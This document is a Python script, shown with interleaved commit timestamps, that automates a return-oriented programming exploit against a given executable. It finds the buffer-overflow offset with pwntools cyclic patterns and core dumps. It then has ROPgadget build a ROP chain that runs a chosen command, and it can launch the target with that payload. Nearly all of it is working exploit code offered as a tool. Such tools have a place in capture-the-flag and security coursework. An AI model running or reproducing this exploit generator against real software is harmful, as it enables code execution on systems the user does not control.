2020-11-26 06:47:19 +00:00
import argparse
import atexit
import math
import os
import subprocess
import sys
2020-11-28 17:42:09 +00:00
import json
2020-11-26 06:47:19 +00:00
from contextlib import redirect_stderr
from pwnlib . context import context
2020-11-25 15:16:52 +00:00
from pwnlib . elf . corefile import Coredump
2020-11-26 06:47:19 +00:00
from pwnlib . tubes . process import process , signal
2020-11-25 15:16:52 +00:00
from pwnlib . util . cyclic import cyclic , cyclic_find
from pwnlib . util . packing import pack
2020-11-26 06:47:19 +00:00
from pwnlib import atexit as pwnlibexit
2020-11-25 15:38:08 +00:00
2020-11-26 06:47:19 +00:00
# pwnlib has its own version of atexit to do stuff when the program exits, but uses sys.exitfunc
# to do so... unfortunately this was deprecated in python3 so it no longer works!
# either we use python2 or just re-register the pwnlib functions as follows
# why does everything use python2 :(
atexit . register ( pwnlibexit . _run_handlers )
2020-11-25 18:55:01 +00:00
2020-11-26 06:47:19 +00:00
# delete the corefiles on exit
context . update ( delete_corefiles = True )
2020-11-25 15:16:52 +00:00
2020-11-25 16:17:36 +00:00
print ( r '''
_ ___ _ . - - . ___ _____ ______ _____ ______ ______
\` . | \. . - - - - . . . - ' ` `-._.- ' _ . - ' ` / _ \ / ____| / \ |____ / ____| / \ | ____| ____|
/ ' ` , __.-- ' | | | | _ _ | | / \ / / | / \ | | __ | | __
) / ' _/ \ `-_, / | | | \ \ / / | / / \ \ / /| | / / \ \ | __| | __|
` - ' " ` " \ _ ,_.-;_.- \ _ ' , | | _ | | > < | | ____ / ____ \ / / | | ____ / ____ \| | | | ____
_ . - ' _./ { _. ' ; / \___ / / _ / \_ \\_____ / _ / \_ \/ _ / \_____ / _ / \_ \_ | | ______ |
{ _ . - ` ` - ' { _/
''' )
2020-11-25 15:16:52 +00:00
2020-11-25 16:17:36 +00:00
arg_parser = argparse . ArgumentParser ( description = " Run an automated ROP on an executable " )
arg_parser . add_argument ( " exec_file " , metavar = " exec_file " , type = str , help = " The executable file to exploit " )
2020-11-27 01:18:51 +00:00
arg_parser . add_argument ( " --rop_file " , metavar = " rop_file " , default = " rop.txt " , type = str , help = " The name of the generated ROP input file " )
2020-11-28 17:42:09 +00:00
arg_parser . add_argument ( " --rop_exec_file " , metavar = " rop_exec " , default = " rop_exec.json " , type = str , help = " The path to the file containing the command for the ROP to run " )
2020-11-26 06:47:19 +00:00
arg_parser . add_argument ( " --min_payload " , metavar = " min " , default = 32 , type = int , help = " The minimum payload length to try " )
arg_parser . add_argument ( " --max_payload " , metavar = " max " , default = 16384 , type = int , help = " The maximum payload length to try " )
2020-11-27 01:18:51 +00:00
arg_parser . add_argument ( " --run " , action = " store_true " , default = False , help = " Automatically run the ROP on the executable " )
2020-11-28 17:42:09 +00:00
2020-11-25 16:17:36 +00:00
args = arg_parser . parse_args ( )
2020-11-25 15:38:08 +00:00
2020-11-25 16:17:36 +00:00
exec_file = args . exec_file
2020-11-25 18:55:01 +00:00
rop_file = args . rop_file
2020-11-28 17:42:09 +00:00
rop_exec_file = args . rop_exec_file
2020-11-26 06:47:19 +00:00
min_payload = args . min_payload
max_payload = args . max_payload
2020-11-27 01:18:51 +00:00
run = args . run
2020-11-25 15:38:08 +00:00
2020-11-26 06:47:19 +00:00
def find_offset ( exec_file : str , min_payload : int , max_payload : int ) :
2020-11-27 01:18:51 +00:00
print ( " [ Find Offset Length ] " )
input_file = " /tmp/input.txt "
2020-11-25 15:38:08 +00:00
2020-11-26 06:47:19 +00:00
payload_size = min_payload
while payload_size < = max_payload :
2020-11-27 01:18:51 +00:00
print ( f " ├─[🤔] Trying payload { payload_size } ... " )
2020-11-25 15:38:08 +00:00
2020-11-25 16:17:36 +00:00
with open ( input_file , " wb " ) as f :
payload = cyclic ( payload_size )
f . write ( payload )
2020-11-25 15:38:08 +00:00
2020-11-26 06:47:19 +00:00
proc = process ( [ f " ./ { exec_file } " , input_file ] )
exit_code = proc . poll ( block = True )
2020-11-25 15:38:08 +00:00
2020-11-26 06:47:19 +00:00
if exit_code != 0 :
# ignore the warnings returned by pwnlib, if finding corefile fails then core is None
2020-11-25 18:55:01 +00:00
with open ( " /dev/null " , " w " ) as f , redirect_stderr ( f ) :
2020-11-26 06:47:19 +00:00
core = proc . corefile
if core is not None and pack ( core . eip ) in payload :
2020-11-25 16:17:36 +00:00
offset = cyclic_find ( core . eip )
2020-11-27 01:18:51 +00:00
print ( f " └─[😳] Found offset at { offset } ! \n " )
2020-11-25 16:17:36 +00:00
return offset
2020-11-25 15:16:52 +00:00
2020-11-25 16:17:36 +00:00
payload_size * = 2
2020-11-25 15:16:52 +00:00
2020-11-26 06:47:19 +00:00
return - 1
offset = find_offset ( exec_file , min_payload , max_payload )
if offset == - 1 :
2020-11-27 01:18:51 +00:00
print ( f " └─[😞] Failed to find offset. Try increasing the payload bounds and ensuring core dumps are enabled! " )
2020-11-26 06:47:19 +00:00
sys . exit ( 0 )
2020-11-25 15:16:52 +00:00
2020-11-27 01:18:51 +00:00
print ( " [ Generate ROP ] " )
print ( f " ├─[🤔] Running ROPgadget with offset { offset } ... " )
2020-11-25 18:55:01 +00:00
result = subprocess . run (
[
" ROPgadget " ,
" --binary " , exec_file ,
" --ropchain " ,
" --silent " ,
2020-11-27 01:18:51 +00:00
" --paddingLen " , str ( offset ) ,
" --ropFile " , rop_file ,
2020-11-28 17:42:09 +00:00
" --execFile " , rop_exec_file ,
2020-11-25 18:55:01 +00:00
] ,
stdout = subprocess . PIPE
)
2020-11-28 17:42:09 +00:00
with open ( " log/ropgadget.log " , " wb " ) as f :
f . write ( result . stdout )
2020-11-25 18:55:01 +00:00
2020-11-27 01:18:51 +00:00
print ( f " └─[🤩] All done! The ROP input is saved to { rop_file } ! " )
2020-11-25 15:16:52 +00:00
2020-11-27 01:18:51 +00:00
if run :
2020-11-28 15:31:36 +00:00
pwnlibexit . _run_handlers ( )
2020-11-28 17:42:09 +00:00
2020-11-27 01:18:51 +00:00
print ( )
print ( f " [ Run Program : ./ { exec_file } { rop_file } ] " )
2020-11-28 15:31:36 +00:00
os . execv ( exec_file , [ exec_file , rop_file ] )